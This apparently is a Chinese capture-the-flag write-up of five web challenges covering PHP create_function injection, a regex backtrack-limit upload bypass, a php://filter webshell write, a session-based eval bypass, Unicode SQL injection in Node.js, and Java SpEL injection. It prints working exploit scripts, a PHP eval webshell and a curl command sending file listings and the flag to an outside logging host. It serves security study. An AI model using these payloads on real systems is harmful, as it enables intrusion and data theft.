前言
这个是知识星球里面的一个比赛,一开始的时候事情多,没及时做,最近刷ph牛的文章看到这个比赛,找来复现一下
function
题目
function这题是一个php代码审计题,题目很短
<? php $action = $_GET [ 'action' ] ?? '' ; $arg = $_GET [ 'arg' ] ?? '' ; if ( preg_match ( '/^[a-z0-9_]*$/isD' , $action )) { show_source ( __FILE__ ); } else { $action ( '' , $arg ); }
可以看到,题目想要我们输入两个参数绕过正则,然后就可以执行任意命令了
题解
寻找可利用字符
我们先审计源码,可以看到如果传过来action
和arg
那就分别赋值,然后对action
进行正则表达式过滤 先看正则表达式
/^[a-z0 -9 _]*$/ isD / i 忽略大小写 / s 匹配任何不可见字符 / D 如果正则表达式用 $ 限制结尾字符,则不允许结尾有换行
所以我们现在就要找一个开头不是字母数字和下划线的值,同时还要可以正常地执行函数 因此我们先fuzz一下
import requests for i in range ( 0 , 256 ): s = hex ( i )[ 2 :] if len ( s )< 2 : s = '%0' + s else : s = '%' + s url = 'http://xiaorouji.cn:8087/?action=' + s + 'var_dump&arg=find' r = requests . get ( url = url ). content if 'find' in r : print s
跑出来%5c
可以成功绕过,原因p神在小密圈说了
php 里默认命名空间是 \, 所有原生函数和类都在这个命名空间中。普通调用一个函数,如果直接写函数名 function_name ()调用,调用的时候其实相当于写了一个相对路径;而如果写 \function_name () 这样调用函数,则其实是写了一个绝对路径。 如果你在其他 namespace 里调用系统类,就必须写绝对路径这种写法。
寻找getshell函数
接下来的利用我们就要用到create_function
函数了 在官方手册中它是这样的
create_function ( string $args , string $code ) : string
这个函数由两个参数组成,第一个是函数名,第二个是函数内的代码。官方例子如下
$newfunc = create_function ( '$a,$b' , 'return "ln($a) + ln($b) = " . log($a * $b);' ); 实际上也就是 function test ( $a , $b ) { return "ln($a) + ln($b) = " . log ( $a * $b ); }
也可以简单理解成
create_function ( $_GET [ 'args' ], $_GET [ 'code' ]); $a = 'function __lambda_func(' . $_GET [ 'args' ]. '){' . $_GET [ 'code' ]. '}\0' ; eval ( $a );
顺便看一下create_function
的源码也可以看到第一个参数是用(
闭合的,第二个是用{
闭合的
getflag
剩下的就是闭合以及利用了,尝试一下能不能得到phpinfo
接下来就是getshell了,尝试下利用system函数 发现被禁了,那就试下scandir函数 成功getflag(这个flag是在上一层的目录上
parewaf
这个题目依旧很短,考的是php的正则特性
题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
<? php function is_php ( $data ) { return preg_match ( '/<\?.*[(`; ?> ].*/is' , $data); } if ( empty ($_FILES)) { die (show_source( __FILE__ )); } $user_dir = 'data/' . md5($_SERVER[ 'REMOTE_ADDR' ]); $data = file_get_contents($_FILES[ 'file' ][ 'tmp_name' ]); if (is_php($data)) { echo "bad request" ; } else { @mkdir($user_dir, 0755 ); $path = $user_dir . '/' . random_int( 0 , 10 ) . '.php' ; move_uploaded_file($_FILES[ 'file' ][ 'tmp_name' ], $path); header( "Location: $path" , true , 303 ); }
可以看到,这是一个上传文件的代码 首先拿到了文件会先判断是不是里面有没有php代码,如果有就返回bad request
,否则就新建一个路径为data/md5($_SERVER['REMOTE_ADDR'])
,然后将文件命名为randon_int(0,10).php
存储在新建的文件夹里面,最后将存储路径在http头里面返回过来
题解
分析正则
首先我们先看一下他的正则表达式
的匹配过程 可以看到它先是从前面匹配了<?
,接下来的.*
将所有都匹配了,然后还需要匹配就要回溯回去前面,因此一直回溯到前面的>
完成符号匹配,然后从该点开始向后进行匹配,完成最后的.*
匹配 而同时,php为了防止正则表达式的拒绝服务攻击,设置了一个回溯次数的上限 而如果回溯次数超过1000000的时候,它的返回就变成了false了
payload
既然已经知道要怎么绕过漏洞点了,接下来就是写payload了
import requests from io import BytesIO file = { 'file' : BytesIO ( '<?php eval($_POST["cmd"]);//' + 'a' * 1000010 ) } res = requests . post ( 'http://xiaorouji.cn:8088/' , files = file , allow_redirects = False ) print res . headers [ 'Location' ]
拿到了shell文件目录以后就是利用了 getflag√
phpmagic
这个题目让人感觉略为懵逼,但是找到源码就做起来舒服了
题目
源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
if ( isset ( $_GET [ 'read-source' ])) { exit ( show_source ( __FILE__ )); } define ( 'DATA_DIR' , dirname ( __FILE__ ) . '/data/' . md5 ( $_SERVER [ 'REMOTE_ADDR' ])); if (! is_dir ( DATA_DIR )) { mkdir ( DATA_DIR , 0755 , true ); } chdir ( DATA_DIR ); $domain = isset ( $_POST [ 'domain' ]) ? $_POST [ 'domain' ] : '' ; $log_name = isset ( $_POST [ 'log' ]) ? $_POST [ 'log' ] : date ( '-Y-m-d' ); if (! empty ( $_POST ) && $domain ): $command = sprintf ( "dig -t A -q %s" , escapeshellarg ( $domain )); $output = shell_exec ( $command ); $output = htmlspecialchars ( $output , ENT_HTML401 | ENT_QUOTES ); $log_name = $_SERVER [ 'SERVER_NAME' ] . $log_name ; if (! in_array ( pathinfo ( $log_name , PATHINFO_EXTENSION ), [ 'php' , 'php3' , 'php4' , 'php5' , 'phtml' , 'pht' ], true )) { file_put_contents ( $log_name , $output ); } echo $output ; endif ;
题解
审计源码可以看到,文件名和文件内容我们都是可以知道的,但是文件内容会经过htmlspecialchars
,所以想直接传个小马是8可能的,但是php有一个特性,只要能进行文件传输的地方,基本是都是能进行协议流的传输的,我们先本地尝试一波 果然可以写文件,那么现在问题来了,文件名前面会加上$_SERVER['SERVER_NAME']
,同时后缀几乎全部过滤了,还有就是文件内容也不是完全可控的 首先文件名前面加上的$_SERVER['SERVER_NAME']
,我们可以通过修改Host
的值达到控制的目的 接下来,我们想要绕过后缀要用到一个黑魔法 ,所以我们只要在文件名后面加个\.
就可以绕过限制了 最后是文件内容不可控,但是我们可以看到,我们传过去的是base64编码的,在php伪协议解码的时候,遇到不规范的字符是会自动跳过解码的,因此我们只需要填充前面的规范字符使前面的字符是4的倍数,就能成功的让我们想写的shell文件成功解码了 先找一下前面的字符 可以看到规范字符ltltgtgtDiG9959deb8u15DebianltltgtgttAq
刚好40位,4的倍数,所以直接加文件内容就行啦 接下来就是利用了 这样就能写进webshell了
phplimit
这道题目很短,满足了正则就能执行任意命令了
题目
<? php if ( ';' === preg_replace ( '/[^\W]+\((?R)?\)/' , '' , $_GET [ 'code' ])) { eval ( $_GET [ 'code' ]); } else { show_source ( __FILE__ ); }
题解
从正则表达式可以看到它会匹配字母和括号,接下来找一找能绕过的方法 可以看到只要最内层的函数没有参数的话,正则就能绕过,这里我们利用session去达到执行命令的目的session_id
,用来设置或者获取当前会话的id,对应PHPSESSID的值session_start
,用来创建新的会话或者重用现有会话 因此我们可以利用session_id(session_start())
,但是PHPSESSID只允许字母数字和下划线,所以要将字符换下编码 最后就是利用了 还有一个其他师傅的payload
readfile ( next ( array_reverse ( scandir ( dirname ( chdir ( dirname ( getcwd ())))))));
巨强
nodechr
一进去就是一大堆代码……
题目
首先审计源码可以看到题目将flag放进去数据库,然后让用户登录进去,先贴一波关键源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
function safeKeyword ( keyword ) { if ( isString ( keyword ) && ! keyword . match ( /(union|select|;|\-\-)/ i s )) { return keyword } return undefined } async function login ( ctx , next ) { if ( ctx . method == 'POST' ) { let username = safeKeyword ( ctx . request . body [ 'username' ]) let password = safeKeyword ( ctx . request . body [ 'password' ]) let jump = ctx . router . url ( 'login' ) if ( username && password ) { let user = await ctx . db . get ( `SELECT * FROM "users" WHERE "username" = ' ${username.toUpperCase()} ' AND "password" = ' ${password.toUpperCase()} '` ) if ( user ) { ctx . session . user = user jump = ctx . router . url ( 'admin' ) } } ctx . status = 303 ctx . redirect ( jump ) } else { await ctx . render ( 'index' ) } }
可以看到他将union
和select
那些过滤了,所以想直接读flag有点难,但是我们可以看到有个toUpperCase
函数,看下ph牛的这篇文章 ,因此我们可以利用这些字符写payload 最终payload
import requests , base64 url = "http://xiaorouji.cn:8085/login" data = { "username" : "admin" , "password" : "0' unıon ſelect 1,flag,3 from flags where '1'='1" } res = requests . post ( url , data = data ). content print res
Javacon
这题我们首先可以拿到一个jar包,然后用idea反编译出来可以看到一堆的java代码,肉鸡枯了……. 先看一下目录结构,有5个类和一个配置文件 配置文件里面放了用户信息,因此我们用admin/admin
是可以登录进网站的 接下来就去看MainController
文件,这里只放重点函数 可以看到登录的时候,如果选了remember-me,就会将用户加密存储在cookie里面 接着admin会对跳转之后的cookie做处理,判断remember-me的值是否存在,如果存在就解密 验证过程上图,可以看见是先找黑名单,如果匹配出来返回FORBIDDEN
,否则就继续下面的语句,在SmallEvaluationContext
中进行SPEL
解析,又因为有黑名单java.+lang,Runtime,exec.*\(
,所以最后的利用字符串拼接和反射构造pop链 exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
package com . company ; import javax . crypto . spec . IvParameterSpec ; import java . util . Base64 ; import javax . crypto . Cipher ; import javax . crypto . spec . SecretKeySpec ; import org . slf4j . LoggerFactory ; class Encryptor { static org . slf4j . Logger logger = LoggerFactory . getLogger ( Encryptor . class ); public static String encrypt ( String key , String initVector , String value ) { try { IvParameterSpec iv = new IvParameterSpec ( initVector . getBytes ( "UTF-8" )); SecretKeySpec skeySpec = new SecretKeySpec ( key . getBytes ( "UTF-8" ), "AES" ); Cipher cipher = Cipher . getInstance ( "AES/CBC/PKCS5PADDING" ); cipher . init ( 1 , skeySpec , iv ); byte [] encrypted = cipher . doFinal ( value . getBytes ()); return Base64 . getUrlEncoder (). encodeToString ( encrypted ); } catch ( Exception e ){ logger . warn ( e . getMessage ()); } return null ; } } public class Main { public static void main ( String [] args ) { System . out . println ( Encryptor . encrypt ( "c0dehack1nghere1" , "0123456789abcdef" , "#{T(String).getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec',T(String[])).invoke(T(String).getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(T(String).getClass().forName('java.la'+'ng.Ru'+'ntime')), new String[]{'/bin/bash','-c','curl http://abcdef.ceye.io/`cd / && ls|base64|tr \"\n\" \"-\"`'})}" )); System . out . println ( Encryptor . encrypt ( "c0dehack1nghere1" , "0123456789abcdef" , "#{T(String).getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec',T(String[])).invoke(T(String).getClass().forName('java.l'+'ang.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(T(String).getClass().forName('java.l'+'ang.Ru'+'ntime')),new String[]{'/bin/bash','-c','curl http://abcdef.ceye.io/`cat flag_j4v4_chun|base64`'})}" )); } }
读目录 读flag
评论